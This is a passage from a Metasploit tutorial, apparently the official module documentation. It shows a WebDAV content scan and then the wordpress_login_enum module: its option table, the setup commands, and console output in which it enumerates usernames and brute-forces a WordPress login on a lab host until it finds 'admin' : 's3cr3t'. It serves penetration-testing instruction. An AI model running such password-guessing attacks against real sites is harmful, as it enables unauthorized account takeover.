[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/services.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/svcacl.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/uniqperm.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/writeto.cnf
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_script/
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_txt/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(webdav_website_content) >
wordpress_login_enum
a11y.text wordpress_login_enumThe wordpress_login_enum auxiliary module will brute-force a WordPress installation and first determine valid usernames and then perform a password-guessing attack.
msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > show options
Module options (auxiliary/scanner/http/wordpress_login_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE true yes Perform brute force authentication
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
ENUMERATE_USERNAMES true yes Enumerate usernames
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RANGE_END 10 no Last user id to enumerate
RANGE_START 1 no First user id to enumerate
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VALIDATE_USERS true yes Validate usernames
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
We configure the module first by pointing it to the path of wp-login.php on the target server. We then set our username and password files, set the RHOSTS value, and let it run.
msf auxiliary(wordpress_login_enum) > set URI /wordpress/wp-login.php
URI => /wordpress/wp-login.php
msf auxiliary(wordpress_login_enum) > set PASS_FILE /tmp/passes.txt
PASS_FILE => /tmp/passes.txt
msf auxiliary(wordpress_login_enum) > set USER_FILE /tmp/users.txt
USER_FILE => /tmp/users.txt
msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.1.201
RHOSTS => 192.168.1.201
msf auxiliary(wordpress_login_enum) > run
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Running User Enumeration
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'administrator'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'administrator'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'admin'
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration- Username: 'admin' - is VALID
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'root'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'root'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'god'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'god'
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Found 1 valid user
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Running Bruteforce
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Skipping all but 1 valid user
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:''
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'root'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'admin'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'god'
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'s3cr3t'
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - SUCCESSFUL login for 'admin' : 's3cr3t'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wordpress_login_enum) >
We can see in the above output that the module is efficient as it only brute-forces passwords against valid usernames and our scan did indeed turn up a valid set of credentials.